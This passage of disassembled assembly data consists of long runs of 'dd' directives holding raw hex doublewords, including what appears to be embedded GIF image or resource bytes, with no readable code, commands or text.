0BBE7D901h dd 0A601E01Bh, 9B1DBA7Bh, 0BAB0CFBAh, 0ABD9F3h, 5B84B7FBh dd 3AABB3B8h, 88005005h, 0CA329D9Bh, 9DA088A8h, 0E20477E2h dd 5B233599h, 34B5A8A6h, 0C183301Fh, 6BC4BC2Bh, 95881BBCh dd 0A05D305Eh, 19F9850Bh, 93DB1ABFh, 0CCBD4004h, 8027BD6Ah dd 0A95EBDFEh, 9A49E49Ch, 5CB1DB7Fh, 2BE1B2EBh, 0B04BB4BEh dd 32A053A9h, 2A973A9Bh, 0BBA51D04h, 2E06A9E5h, 98955EA8h dd 0BC6BF297h, 99BF304Fh, 6BC5020Bh, 9D3095BFh, 118DE7B1h dd 901FBFBAh, 0B7CBF102h, 9B1DBD3h, 0E0CF9430h, 0AB1A11B4h dd 4E9BB9A6h, 0FB033AABh, 0C10BE2C0h, 0FAA8AC11h, 0AB60B8A3h dd 9DC5E006h, 608275FDh, 37AC7696h, 0BC601E0Ah, 1CC52BC1h dd 4C51B990h, 8A3BF7C5h, 0CA9B005Dh, 0EC2DAF49h, 0BBE018AFh dd 0D384101Ch, 3A26C02Bh, 0AA79F994h, 6B972A7Eh, 0CB4E996Ch dd 0C403C5B5h, 12C43C42h, 2C47B32Ch, 0C1A5DB06h, 0B72CB47h dd 488C8D36h, 4EC80C5h, 8002001Eh, 0A867A2CCh, 0C069FFBCh dd 0D0B71C5Eh, 59C9017Bh, 9A7C66C6h, 690179F7h, 0F919B79Ch dd 0AC6BC8h, 79015972h, 0FC72C70Bh, 0CA1C74C0h, 4008BB30h dd 0E7F70795h, 6639645Dh, 808500E4h, 0FE22B96Ch, 0EC58C27Ch dd 5AC5ABCh, 0ADB7DC5Ch, 0EB75840Ah, 49A6BFh, 24C01001h dd 0FC94840Ah, 0C96C9601h, 25015B80h, 0CC9C0158h, 0C9FADCC0h dd 0A2CA2CA0h, 0CC94069Ch, 7DA9DD5Dh, 0AC0F7C4Fh, 0DCAFCADCh dd 0AFEC86CAh, 30C88BCEh, 59CAC92Ah, 0C319C69Eh, 0BECBC9F3h dd 0B9F8BD9Ch, 0CEBCC301h, 0C9012CC8h, 0C009C3DCh, 0CCECCDCCh dd 80C16C43h, 68FB5D23h, 0C8DB9257h, 81C57115h, 8CDAC22Ch dd 0CDDAD7B2h, 7DBDDBCAh, 7014825Bh, 0C98C639Ch, 91CBDBA6h dd 79C4012Ch, 0A24AF702h, 0C6CECC91h, 2C34CEFCh, 3C5CF3CFh dd 1D009006h, 3B04CF4Dh, 3D25A501h, 0BFBBDA02h, 8CD74AEBh dd 8CDD01CDh, 45D2CAD7h, 9D07D060h, 0D0C01EACh, 3FCE7D0Dh dd 0A01F9439h, 0D15ACC9Fh, 0C8CC8CC3h, 2CF1C96Ch, 0C72002C7h dd 1FBE18DCh, 4A8AD20Dh, 0A3344796h, 106F4CC0h, 0AD294F8Bh dd 18C58D2h, 0FEA2ED2Ch, 1EFEA109h, 0D39065Bh, 0C00D34B4h dd 7CBDCBCh, 0BD3AD38Ch, 9F5CEBD3h, 1AC96D3Eh, 18FAC40Dh dd 0D48D1EBEh, 0DF013A01h, 0CA8BA222h, 0C20AC0C7h, 528AA4E8h dd 0FD02C58Dh, 9607E1AAh, 760139F3h, 19F5825Bh, 0D60001C0h dd 5B01793Fh, 0CC01AF2Dh, 0D18C96D3h, 0CC004B1Dh, 0AD43002Ch dd 6BE0D6h, 6ED47005h, 43EB3E0Dh, 76DC4CBEh, 0CC53ECD5h dd 0CBF6D798h, 8ABAFED7h, 0A8C3AAD5h, 0E02600AAh, 0D5ED5DBFh dd 88D36D85h, 6D8FA58Dh, 9F5D65D3h, 90D3B00Bh, 3005D42Dh dd 6D43D4h, 96C41D1Dh, 5D99DBEDh, 3A8D703Ch, 69C7CA33h dd 8582B947h, 1CDA2D7h, 0FEAFA90Dh, 3DA8D2FAh, 0D339C79Fh dd 86D85D3Bh, 8D39BA9Dh, 0D8BB4E01h, 0B700ADB5h, 0EDE19F3Dh dd 0C40DB9A7h, 96C40D92h, 0BDBEC0FDh, 0D20D98DEh, 5D24D4Ah dd 18D171BAh, 0DCC5A34Bh, 0D4DA4DA2h, 0CC6AC3AAh, 0D8AA2901h dd 18AF4DD8h, 32D3FE90h, 0FDDED8ACh, 9A4DE0DDh, 0E5DE300Bh dd 6DE500ACh, 0D97DE7DEh, 0EBD46DE9h, 72FED99Dh, 0C7CBE401h dd 0B86F18D1h, 0D88DD77Ah, 88DDCEDCh, 0C877DD0h, 9B1E062Bh dd 372D7091h, 19DAFD8Fh, 5027B989h, 0CE5C8A01h, 0AC66D8Bh dd 3E0993DEh, 0E09E0AE3h, 1C90E34h, 0FD92C9FCh, 0D6CDBEE0h dd 20E13E10h, 0CE162E9Dh, 2FA0638Dh, 0FDB363A8h, 881B81BCh dd 0D51A4D01h, 0A3C84C54h, 6E21E20Dh, 0ACCA6DB2h, 29064A18h dd 7E01CBEEh, 0D83DAD02h, 3FD8CE31h, 4E35E379h, 0E30E38E3h dd 3ED91E31h, 0DE41E11Eh, 0D6DD1CDEh, 25D9BB2Fh, 260C71BDh dd 0CABB087Bh, 4E8CBB49h, 2CADDA1Eh, 0E54E1FE5h, 0DFE56AD6h dd 0CC559F5Ch, 0B1CDDDDDh, 39013009h, 5E61CC3Dh, 0E33E35D1h dd 67E67E66h, 0CD8BE68Eh, 0DBDE3DE3h, 6EDECE6Ch, 3DC2D6DEh dd 0DF0E44ABh, 652DFBD6h, 0F112E4A5h, 0E7CA2C92h, 7E01CE51h dd 8001DEFEh, 8B3AA2FEh, 2F4A2406h, 4EA25C8Eh, 9D13E8ABh dd 0D3CE8DB7h, 8FDB6E8Fh, 1CBBE93Eh, 0E97D42E6h, 0ECDE8E98h dd 0DDC2A01Dh, 0CFA32E9h, 0DE3A9E16h, 0BC450EE5h, 180B2C7h dd 48A9E4Eh, 0CED5E79Dh, 0EAACFECAh, 0AC01DEDAh, 0EB3AEACEh dd 0E2FA6DEAh, 5F36585Dh, 0A9A1A7EEh, 0E8DE8CCEh, 63EBEACCh dd 3DE3EBDEh, 0EC1E8DE3h, 0EAE3FEC2h, 0A8DCEC5Dh, 3D3EC8E9h dd 475A6550h, 6A510CFEh, 112ED0E4h, 0CE90CE7Bh, 9ED9ED7Bh dd 0EDCDCEEAh, 75974850h, 6E24B0D9h, 0E039EBA2h, 21E8AB79h dd 0ED8BCEBBh, 0DE2DB4D0h, 65DE0DB6h, 1EF0919Eh, 0DBCC0FEFh dd 99DBBE97h, 7E42002Eh, 8FAE9AEFh, 0CE61F0D4h, 0B94AB8BEh dd 8A80B2E1h, 0EEF05CDDh, 1DBC68h, 1EE52C8h, 0D0D33F0Ah dd 7A96A44Dh, 0C5593DC0h, 10C96A51h, 9E280180h, 0F18F17EEh dd 1CF1CE06h, 0DEB9EBEFh, 0DE7EC2E0h, 0FEE12DEBh, 0F83D3EF6h dd 0D1FD1DEh, 7C23CF55h, 7BADD017h, 307D989Ch, 0A4DEA7EDh dd 54BCEF05h, 0BF07E1DDh, 0F3EB57EAh, 54E83B83h, 3D63012Ah dd 13D88F1h, 0BFE90C02h, 6F4AE31Eh, 0EEFE36C9h, 0EF4F9A4h dd 0DF24EC2Eh, 3AAF55E6h, 97E13F57h, 5BE44174h, 0F30E76BEh dd 52F32833h, 701EBA19h, 0F07EACF6h, 3CF93C80h, 0F995B58Fh dd 0AEB4F0h, 629CB9FAh, 0C017C9AEh, 0F7587BDFh, 0AFD84E04h dd 0FB4EF19Dh, 0D5EFAAEEh, 7F001E8Dh, 1F26F23Fh, 8FAEF8DCh dd 0AF4AFF85h, 0FBB438B3h, 0F8DB45F5h, 54F91A5Bh, 9F93D04Dh dd 0D5401DD7h, 2ABAEEDFh, 9F11A23Bh, 0C0AFA891h, 48F12DB1h dd 3E05FA6Fh, 0F4CFABCCh, 84D84FACh, 0F22BE1Dh, 0F85FB1F8h dd 21F29F28h, 746A0230h, 0FB9EFF2Ch, 9CF60F8Bh, 2A5BED20h dd 0F67E4EEDh, 3BD2AE1Dh, 7B54972Fh, 189A4E5h, 0D1918399h dd 5E5DBD9Fh, 0F7DF76EEh, 0F1FE8F78h, 40FFBB4Dh, 162E10A0h dd 8882A342h, 4D090A4Ch, 2D008067h, 0EB020B4Ch, 14306AF5h dd 26D5DB4h, 276AF60Ch, 64C8D1A4h, 6DC2410Ah, 910C1BF7h dd 0FB7527CFh, 0EFD79F05h, 7BC18F3h, 90030310h, 10F05090h dd 839123B0h, 43D191B1h, 926243D1h, 0E21292B2h, 0E4E20848h dd 89C15302h, 0C2735320h, 0C244E3E3h, 0A93329A8h, 29F3F448h dd 0D54A1620h, 96C968F5h, 560996F5h, 0D7EB0A96h, 6040CB6Ah dd 2C6C2BD8h, 84CD2421h, 0F9EE02E4h, 0AECE8E79h, 0EF7ACF8Eh dd 50B0C2F0h, 107150DBh, 5191D172h, 0C27063B1h, 0F3C25D32h dd 13C384E8h, 82745434h, 0E324E4E3h, 0A916D688h, 0B6765E36h dd 4422AAD6h, 0D254115Ah, 7FA8152Ah, 0A16180BEh, 97D88C32h dd 90205D63h, 0C6B348h, 0A46E8D34h, 0E776A1C9h, 826EC85Ah dd 740C950Ah, 72CA43A8h, 9385C8E3h, 2892CEA4h, 0EC261F0Eh dd 9E8AE272h, 150AFEBDh, 4233C9F2h, 85266110h, 0AC066EFFh dd 0CF681415h, 3162FF26h, 4A6C186Ch, 93132E96h, 6C667331h dd 1F8ED663h, 73D48A41h, 42C99C08h, 84AA5083h, 598392C4h dd 4E60E80Fh, 43047392h, 40AF9A88h, 0EF509289h, 99E4EC4h dd 0BA52EA05h, 0A3515654h dd 41486FCh, 0C2E8741Ah, 44AF4F2Ah, 0A32C660Dh, 0E4230801h dd 159A998Eh, 5C08475Ah, 7AFD79ABh, 93588FC1h, 46965524h dd 5B6D96ABh, 70244654h, 532F1782h, 0F419BC06h, 0F7E514F6h dd 46BAD32Fh, 9C3AE693h, 0C62F5790h, 3548B8BFh, 24361B6h dd 622558CBh, 0F399A30Eh, 115FCF04h, 0A83B1E89h, 29D3CAB4h dd 64A6A901h, 0B9871924h, 0C05304F1h, 6DA777ABh, 0C712FD81h dd 70F01DDAh, 0A1C0837Ch, 0F8B00D30h, 0E000017h, 0A9B178Bh dd 20E5AAE1h, 38B9CE6Bh, 0BA6E89A4h, 4B0AC03Eh, 4BB305ACh dd 0BAD29C69h, 5356EF3h, 129A03Eh, 1360BAFEh, 3E13AEE2h dd 0BDBD0090h, 282DB976h, 0C59B82A1h, 3AFAC227h, 6C03BE48h dd 0FC3ECF72h, 3F8FD0B0h, 4E5232E3h, 2B2D0139h, 38AD8DF0h dd 58F104Bh, 0AC0D1C19h, 848BB707h, 0E02ED5C2h, 730DB804h dd 0F41270FAh, 294C1BD4h, 6A3A00FBh, 1292BEA0h, 16F680E2h dd 5F21AFCAh, 4720298Ch, 0F1E4051Dh, 9C7F03B9h, 0AA920FCEh dd 72C8AEB3h, 0BB84734Ch, 0A4C35509h, 0DA6C77B5h, 2A0E43B0h dd 2A1F2DA9h, 3ECC0145h, 4C1A7E7Dh, 0B45F2E3Eh, 0F4014652h dd 0C6BF6FDBh, 0B22888B2h, 0E01D2831h, 0E3A1344Ch, 403F412Ah dd 93BACB03h, 3B507904h, 10A4EB3Ah, 23C70F13h, 0EA081E4Fh dd 108140C1h, 44B29BD3h, 4C0C4E57h, 1D6AC31Fh, 5C8430A2h dd 0A6CAC57Ch, 9811A464h, 62FBFCC5h, 0CD306239h, 6E368C54h dd 8FD36384h, 0CDB20C80h, 70724B21h, 7CEA964Eh, 4E0DCEE9h dd 561300C0h, 17125D5Bh, 2B58D6h, 78BE5011h, 0F756EC1Dh dd 0D0E25572h, 376B70F5h, 2096h, 3Bh, 0 dd 38464947h, 2B36139h, 48C601DBh, 0DED9C100h, 0C3DFDAC2h dd 0DCC4E0DBh, 0E2DDC5E1h, 0C7E3DFC6h, 0E1C8E4E0h, 0E6DFCFE6h dd 0D0E7E2C9h, 0E2CDE7E0h, 0E8E3CAE1h, 0CEE8E1D1h, 0E2D2E2E3h dd 0E9E4CCE9h, 0CDE3E4CFh, 0E5D0EAE5h, 0EAE4D3E4h, 0D7EBE6CEh dd 0E6D1E5E4h, 0EBE5D4E5h, 0D2ECE7CFh, 0E6D5E6E7h, 0E6E6D8ECh dd 0D3E7E8D3h, 0E7D6F4E7h, 0EDE9D0EDh, 0D4E8E9D4h, 0E8D7F5E8h dd 0EFEAD1EFh, 0D9F0EBD2h, 0EBD5F0E9h, 0EAE9DCEAh, 0DAF1ECD3h dd 0EADDF1EAh, 0F2EBDBEBh, 0DCECEBDEh, 0ECDFF3ECh, 0EEEDE0EDh dd 0DEF4EEDDh, 0F0DFF5EFh, 0F0F0E2F6h, 0E3F8F1E0h, 0F2E1F1F1h dd 0F3F2E5F9h, 0E6FAF3E3h, 0F2EDF4F3h, 0F5F4E7F5h, 0EEFBF3EAh dd 0F5E8F6F3h, 0F8F6F0F6h, 0F3F9F7F2h, 0F9F4FBF8h, 0FDFAF5FCh dd 0F7FEFBF6h, 0FEF8FFFDh, 2Ah dup(0FFFFFFFFh), 4F921FFh dd 7F000A01h, 2C00h, 2B30000h, 70001DBh, 822C80FEh, 86858483h dd 2C2E2E82h, 898A8B8Ah, 92918F8Eh, 96959493h, 9A999897h dd 9E9D9C9Bh, 0A2A1A09Fh, 8898A4A3h, 878C838Eh, 0AEADACABh dd 0B2B1B0AFh, 89B0AAB2h, 0A8868FABh, 0B3BBBC88h, 2AADC0BFh dd 2CC3C4C3h, 0C5C8C72Ah, 0CECDCCCBh, 0C3D1D0CFh, 0D4D5D426h dd 0D9D9D62Ah, 0DEDDDC1Fh, 1B1BDDDFh, 0E6E5E21Fh, 0C1C8CAE2h dd 0EEA584EBh, 0F2F1F0EFh, 0BC8BA79Ch, 0B7ACB7ADh, 0F58DF9F3h dd 35FCF6EDh, 16AFE48Ah, 610883BBh, 0B0C84BA9h, 856143A1h dd 0B64B1616h, 8BB4A28Ch, 0AC5E3318h, 361A6D86h, 8A42DA8Eh dd 4C1F6ACh, 0C8E36E38h, 0E295389h, 18974B43h, 199CCA62h dd 4D2E6113h, 0DCE9F903h, 0CFA7B3C9h, 766F409Fh, 0A8B4487Ah dd 9348A3D1h, 0B4CA5C6Ah, 5091B369h, 1A9C9E49h, 73B9DC2Eh dd 0CA6552B9h, 0D7ABB419h, 8AC360AFh, 0A0CED9DDh, 210154C0h dd 0B39AE4E1h, 0FE7DD660h, 95712769h, 58EE8A74h, 0E2F10CB3h dd 0D0749BD3h, 597F55C2h, 0CCF74C4Dh, 1FC332C4h, 0D93496A1h dd 0AA55318Dh, 9E4AEEE6h, 0E5B2B94Ch, 6B3398CBh, 73B7DAEEh dd 3B4E8B44h, 0AD46E35Ah, 53C7E2E4h, 0CD5EAB37h, 0D7EBB5BAh dd 9D8F63B0h, 0E033D6ABh, 0A31DA568h, 6C1B2AA6h, 13BF170Ch dd 3C349705h, 0C5E1F052h, 0CE5F2B7Bh, 0C9F3B9BCh, 0E3DAD105h dd 0C518D44Bh, 930CD36Bh, 0B9FA9D2Ch, 85C94A70h, 9C718EFFh dd 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh, 678BDBF0h, 7D7D1F3Fh dd 9FE2EEF3h, 537E44E7h, 79FF4C78h, 480E027h, 765455D2h dd 0D4545D9h, 0A7F5F850h, 461083DFh, 1484E128h, 84A16856h dd 0DC07D9F7h, 0E8761C85h, 0F561815Eh, 124DBE7h, 51940882h dd 0D838A4C6h, 360D935h, 6DC6895Eh, 32721FB8h, 8DE3687Ah dd 0E3A8E638h, 8F63C8Eh, 7DF98861h, 448FA337h, 57A26876h dd 42FE1DB6h, 36453158h, 5093E4E9h, 94E52946h, 0E5695654h dd 0A9665895h, 765C96E5h, 6097E5E9h, 98E62986h, 0E6699664h dd 0A9A66899h, 0B66C9AE6h, 709BE6E9h, 9CE729C6h, 0E769D674h dd 0A9E6789Dh, 0F67C9EE7h, 809FE7E9h, 925599AEh, 0E86A1684h dd 0AA2688A1h, 368CA2E8h, 90A3E8EAh, 8FC8E43Eh, 0DBB770C7h dd 0AA6698A5h, 769CA6E9h, 0A0A7E9EAh, 0A8EA2A86h, 0EA6A96A4h dd 0AAA6A8A9h, 0B6ACAAEAh, 0A4ABEAEAh, 7E88B356h, 0D560A82Eh dd 0AAE6B855h, 0F6BCAEEBh, 0C0AFEBEAh, 0B0EC2B06h, 0EC6B16C4h dd 0AB26C8B1h, 36CCB2ECh, 0D0B3ECEBh, 0B4ED2B46h, 6BFB56D4h dd 48D42A37h, 1C1F0B1Fh, 46118471h, 0B8EE2114h, 0EE6B96E4h dd 0ABA6E8B9h, 0B6ECBAEEh, 0F0BBEEEBh, 0BCEF2BC6h, 0EF6BD6F4h dd 0ABE6F8BDh, 0F6FCBEEFh, 0BFEFEBh, 0C0F02C07h, 0EDEB8303h dd 687EB307h, 1044B7EBh, 10C3C431h, 0C4F12C47h, 6C57FE14h dd 6718C5F1h, 1CC6F1ACh, 0C7F1EC77h, 0F22C8720h, 6C9724C8h dd 0A728C9F2h, 2CCAF2ACh, 0CBF2ECB7h, 0B0DCC330h, 907C4711h dd 982E7BEDh, 42C38464h, 0CFF3ECF4h, 0F42D0740h, 6D1744D0h dd 2748D1F4h, 4CD2F4ADh, 0D3F4ED37h, 0F52D4750h, 6D5754D4h dd 6758D5F5h, 5CD6F5ADh, 0D7F5ED77h, 84410C42h, 0AB692511h dd 6C260B1Eh, 4110B3B0h, 0DBF6EDB4h, 0F72DC770h, 6DD774DCh dd 0E778DDF7h, 7CDEF7ADh, 0DFF7EDF7h, 0F82E0780h, 6E1784E0h dd 2788E1F8h, 8CE2F8AEh, 0E3F8EE37h, 0F6310841h, 0F0B02606h dd 141BB71Eh, 40DB0431h, 0E7F9EE74h, 0FA2E87A0h, 6E97A4E8h dd 0A7A8E9FAh, 0ACEAFAAEh, 0EBFAEEB7h, 0FB2EC7B0h, 6ED7B4ECh dd 0E7B8EDFBh, 0BCEEFBAEh, 0EFBBEEF7h, 0C4510F91h, 87BB9638h dd 0FF9CE6B9h, 0CCF2FCAEh, 0F3FCEF37h, 0FD2F47D0h, 6F57D4F4h dd 7AEF5FDh, 97C23C3Fh, 107C8393h, 2F87D8FEh, 97E4F8FEh dd 0E8F9FE6Fh, 0F5BEAFA7h, 7DDF13DAh, 0BF839BE6h, 0D7F4FCFEh dd 0F8FDFF6Fh, 0FEBFAFE7h, 0BC6F73EDh, 9FDBF1F7h, 0C0480700h dd 80F01A02h, 0FF5FCC08h, 0E39ED78Ah, 10813005h, 2704A08Ch dd 5A0AC148h, 7C0B73F0h, 0C82EF7DFh, 0F07A0EC1h, 210C2083h dd 3DB6C2F0h, 81C7B206h, 0AA113C9h, 16C2C857h, 198290BAh dd 52FC1FFCh, 0DA1AC2F8h, 0CC3886F0h, 0D862F521h, 50D20040h dd 0A20C4087h, 0C4488710h, 84F0F1D2h, 115F943Eh, 26C4C897h dd 4784313Ah, 950A0F5Ch, 5A2AC4F8h, 0BC588AF1h, 96CF145Fh dd 0F17A2CC4h, 0A30C608Bh, 9E98B6F4h, 8CF18A29h, 1AA34C68h dd 0F446475Fh, 708D7198h, 0D31CA38Ch, 0BCF3C6D8h, 0CC788E71h dd 58971EA3h, 71DCF347h, 0A40C808Fh, 47D85720h, 9071FCF2h dd 22A44C88h, 18C85813h, 9091721Ch, 0D724A48Ch, 4E47C8D7h dd 0CC9892F2h, 0FE4918E4h, 6E193EE8h, 0CA09350h, 577B28A5h dd 0F28E2EC9h, 654CA894h, 43394AEBh, 95F2AA2Ah, 2B2584B0h dd 5ACB193Fh, 0B39452DAh, 772DE07Ch, 0E648CBC9h, 0CBD87F2h dd 0F8F330A6h, 0F30E574Bh, 6344C898h, 0CCC99331h, 99718266h dd 34A68CCEh, 69CD089Bh, 399AF35Ah, 0B73626ACh, 6A154DC9h dd 0CE09BB3h, 29BF0567h, 0B39A72CEh, 0A73CE480h, 0BF59D73Ah dd 9DF3B274h, 3B9F24F0h, 7ACF49E3h, 9D78526Eh, 0ED2B61ECh dd 467ECFC9h, 0CFE9E6Fh, 76B40A8h, 0F41A81D0h, 282BABA0h dd 0D0CA1742h, 0A1B429D0h, 43E85D10h, 81514A23h, 18A2B44Eh dd 3345E7B5h, 6E77D1CAh, 3520A3B4h, 4A4347E7h, 0B48E6ED2h dd 0E6B528A4h, 0D2CA5349h, 0A5B4AE66h, 4BE61D30h, 5DD34A63h dd 38A6B4CEh, 0FD272595h, 0E65A4FA7h, 0DD2EA7F4h, 68A509A9h dd 151AA04Ah, 0AA3D3799h, 0D4992F52h, 91753AA5h, 54AA7D4Dh dd 0D5FE1905h, 98955AA9h, 2EA0D542h, 5055CAAFh, 60ABB556h dd 3D566655h, 9AB0D5B9h, 0ED63AA15h, 0CACF5969h, 15A6AA56h dd 0AB6CFB89h, 4F8ADD5Ch, 0A7D5C29Eh, 1CEBCD73h, 0BED7AABFh dd 7EAF9106h, 10DEC0Dh, 0B6C2D82Bh, 4D86B090h, 4ADF142Ch dd 0F62AB8D4h, 2C4455B1h, 430B2764h, 0B1D172C6h, 10ACCD94h dd 0CED9AB25h, 65B2D3A2h, 4767AA2Ch, 92CE435Bh, 33F6B4F6h dd 0AB576A2Dh, 0F6B2D53Eh, 2D73E5B5h, 3D8B676Ch, 0B6F6D2D9h dd 6E2DB3D3h, 0DD3CEB77h, 0BFB7F6F2h, 87702DF3h, 12E13BABh dd 504B8F7h, 8B451BADh, 0CFA6E6DCh, 2E8DCEB8h, 0DD2BA0EBh dd 0BA8E9EEAh, 0E8AECDD6h, 0EEDDABB0h, 0DEBB8E76h, 0C3782ED5h dd 92F1DD6Bh, 3DE6BA57h, 0ABD373AFh, 0B7B2E45Eh, 2F7DC4BDh dd 0DF2B817Ch, 0BEB6F2F9h, 7E2DC5F6h, 0FDDB4BF3h, 0FEB617F2h dd 36B2FFDh, 12D4602Ch, 3DA4C0B8h, 0AB3D8230h, 6B05FEE0h dd 0A60EC1B6h, 0C23842Ch dd 585309D9h, 0B0BE16B1h, 61AC3361h, 0C3B872C1h, 8830FD7Eh dd 11E22AF5h, 26C4B5CFh, 538A2B6Eh, 0B315D67Ch, 7E2EAC38h dd 2C635771h, 0B8D2ABE3h, 31BD53C6h, 0E3AA9F8Eh, 0C7B52F1Dh dd 902A3E3Eh, 21D40C83h, 46A73913h, 934D723Eh, 3298E4ACh dd 7D2DC9B9h, 2A539432h, 0B49729E5h, 290E56CAh, 0D1DCB396h dd 0A339732Dh, 4572FE5Eh, 88E62CC3h, 0DCCB992h, 259A333Dh dd 323B5CAAh, 55D1CD77h, 2A0D9C33h, 0B45B39E7h, 0B37C7ECDh dd 0E75B8F9Dh, 0CFB3F73Dh, 9E28D67Eh, 40E7A90Dh, 86D016FFh dd 13A2278Eh, 3B41D1EDh, 0BE8CD0B2h, 0AD23A2EDh, 5A5349CEh dd 0E4B68EA4h, 0E96B67A5h, 0D3B3874Dh, 0A669369Eh, 36A1D21h dd 0A5B31A8Fh, 0F1A9F006h, 0AF01EA9Ah, 36ADAD7Ah, 7A875D75h dd 0FAC75659h, 0B5BEA0B4h, 6BAD7334h, 0D7BAF267h, 0B035FCCCh dd 606AFA91h, 0C1FB0EFEh, 0B1E636C5h, 65EC2B33h, 0CED9B307h dd 0A3B425E6h, 5369CB7Dh, 0BED696BBh, 0AD674EB6h, 7B6B6355h dd 0B6FEC9C3h, 0EE2DC384h, 0DCBB930Ah, 0BA373E18h, 0B26DCDC1h dd 24DD7B7Ah, 3BC3756h, 7B79ED9Bh, 8EF6DE55h, 0FAD5BB77h dd 0B5B37CEEh, 2A66FEDEh, 0E2AE03BEh, 0C5BC1381h, 8C383F06h dd 19F0AE13h, 36E1BC33h, 73C4387Eh, 0F389F12Ch, 0FF16E2B8h dd 2E33C631h, 0BC738DE4h, 38FF1EC8h, 0F22E4392h, 0E4BC9325h dd 0CA393E4Eh, 95F2ACA3h, 2EE5B953h, 63CC32BFh, 0D399E5AEh dd 0BF36CBBCh, 0AE739839h, 0BCF331F3h, 0EE5666E7h, 6A8CF20Ch dd 0DF7C8FA0h, 0F8199E7h, 0A36B6E88h, 398B74D3h, 9D2C1F0h dd 3FA7745Dh, 0E039B19Dh, 0FEA60FC1h, 1D5BAAE8h, 41CC47A6h dd 8390700Eh, 0D61D301Fh, 0BB79675Fh, 19F64065h, 3A0720CCh dd 0D3BF7B38h, 0B776F32Eh, 9832065Dh, 0DEA9DC41h, 0FEA3BA74h dd 1F628334h, 9EF20C7Ah, 0DB2BB903h, 0A9DF7FEFh, 832EC80Bh dd 0F0DDBCE3h, 3E3ABF88h, 1983404Dh, 3111FE34h, 0D1DF3C78h dd 0B9AF91Eh, 0C03003EFh, 0BF32717Bh, 0BDF7AEF7h, 0DE1738F3h dd 8925660Ah, 0F200F3BCh, 0F6A967A8h, 0C195C1A8h, 0B1F61D97h dd 6DE7FC4Fh, 8BCC9396h, 27B9F71Dh, 5030F6A9h, 0BED88192h dd 3E0FC0F0h, 0B94F8748h, 0F087016Ch, 0F2BE4F8Dh, 0A3DAA39h dd 0A411AE50h, 0A7F4BC17h, 5FEAD18Fh, 5FBFF9FFh, 1FB9D7AEh dd 0BF59E174h, 7BD78372h, 7E3CDDF4h, 8499A7F2h, 0F40177E7h dd 0F779CD6Bh, 2AFBD433h, 0B40E3CC8h, 0DBD3FE2Fh, 87D5A11Fh dd 7E103230h, 0FF7737F4h, 44246747h, 76F02E7Ch, 0ED5A17EBh dd 28088077h, 317C43Ch, 0E80D039h, 78107FE8h, 77979367h dd 197876EEh, 80458118h, 6DD03430h, 1A81F81Eh, 90260458h dd 7F581721h, 0DA4FE826h, 0D8240C63h, 27FEEF82h, 6B41263Ch dd 3280682Bh, 97004F58h, 73F5A583h, 3B4D883Ch, 0E58783F8h dd 4D384283h, 0DE845841h, 0E8488444h, 84B84A6Bh, 4E84D6C1h dd 0D7486C48h, 85181858h, 5853698h, 78568258h, 85B8474Eh dd 5E85D41Ch, 18604168h, 85859586h, 6485A837h, 98634E08h dd 86B41186h, 5048C86Ch, 16D886F8h, 6DB87287h, 75831425h dd 987485C8h, 86E4A987h, 7E40387Ch, 13FB87F8h, 40A88288h dd 0A188587Bh, 98888844h, 88B8875Ah, 8E88A499h, 18903F38h dd 88D5AD89h, 93492894h, 93E78978h, 5B189A89h, 8A89D896h dd 28A089C4h, 8A38A23Eh, 0A689F5B5h, 0D8775748h, 5418A981h dd 2C7FD866h, 54B68AD8h, 5B98B28Ah, 588B58A8h, 57EC8AF5h dd 4AA8B885h, 0CF8BD8B4h, 0D8C08BF3h, 8C38C23Ch, 0C68C53CBh dd 98B75C18h, 8C846A8Ch, 0CE3BC8CCh, 0B5C58CF8h, 4628D28Ch dd 0B78D58D1h, 98D88D73h, 0B8BAFE5Ch, 4B88DB7Dh, 598DF8D4h dd 18E28DA4h, 8E58E43Bh, 0E88E146Ch, 0B8EA5918h, 8E744E8Eh dd 0ED5098EEh, 347C8F18h, 4448F48Fh, 0D78F78F0h, 0F8FA8F65h dd 8FD8FC57h, 8F943Ah, 39023A39h, 8FF50E90h, 5436906h dd 0B39E9099h, 4090C90h, 1190C90Eh, 69139099h, 90391590h dd 19900917h, 0A91B8FD9h, 8F791D8Fh, 958F491Fh, 0F8BC1864h dd 48D47290h, 25339032h, 0D4709269h, 3376F47h, 2B02802Fh dd 0D8CD92C9h, 3B03D66h, 0B6032038h, 29349332h, 398BA56h dd 182DC796h, 693D93C0h, 79766D8Dh, 4400F369h, 0D4CF9459h dd 2B608966h, 0B194A018h, 0A93594C8h, 1F0C48Bh, 5494B951h dd 366D8E39h, 9529580Dh, 6795B838h, 0E95E4754h, 96295A12h dd 0D8964456h, 89670DD0h, 96A44F96h, 539430D7h, 694D96E9h dd 2E0C395h, 6D01401Fh, 0A44C9749h, 2C03296h, 6896001Bh dd 445F97C8h, 678D96FEh, 0D01802h, 0F898497Bh, 997F9478h dd 98B00A97h, 4759B98Ch, 29902B59h, 44099399h, 1936847Dh dd 39910140h, 8EC99997h, 0E43688BAh, 199F0120h, 96F9A196h dd 1B12695Dh, 99989A60h, 66D5839Ah, 0A79AD18Ch, 0F9B09839h dd 0E166D8Eh, 0B79A09AEh, 0A8BA8F59h, 9BD9B59Bh, 289BF946h dd 29A89BB1h, 9C498D9Ch, 0C89C19A5h, 59B99859h, 9CD9CC9Ch dd 0B49CA95Ch, 99D29AF9h, 9C69D484h, 0FE9D79B6h, 0C9D19D98h dd 8AB9A29Dh, 220221EAh, 0E01B01E0h, 9E09D699h, 0DC47541Fh dd 0C98A0141h, 9B19EA9Bh, 59126976h, 0D9F19F09h, 8F8BA83h dd 0F79E9950h, 24754179h, 9829F408h, 0BA9B89FDh, 79EF9ED8h dd 42EA039Ch, 0EE18C9ECh, 3A099FC9h, 0DCA0B41h, 0F9F6A0Dh dd 99E29D8Ah, 0A0EA061Eh, 11410A15h, 0BA07979Ah, 484A1B9Dh dd 1FA0C9B2h, 0D443A21Ah, 0A08A13A1h, 28420A26h, 0FE2BA25Ah dd 2A2399AAh, 0A2FA2EA1h, 1EA314D9h, 0A34A1AAh, 0A29A3688h dd 1DA39A20h, 0EA38A2D4h, 0A3B3FCA3h, 2FA42A33h, 6A14A404h dd 0A23A10A4h, 4AA41A01h, 0BA0588CAh, 97201B96h, 12A4FA2Ah dd 60829644h, 0A4E01F2Bh, 4E892A56h, 0C9961C09h, 895A5DA5h dd 337798BAh, 997A9780h, 407A63A4h, 0D8743475h, 0BA629E70h dd 66D89BA6h, 69369A59h, 6A72A55Ah, 2959FF40h, 79A6AA70h dd 0C9A3A3AAh, 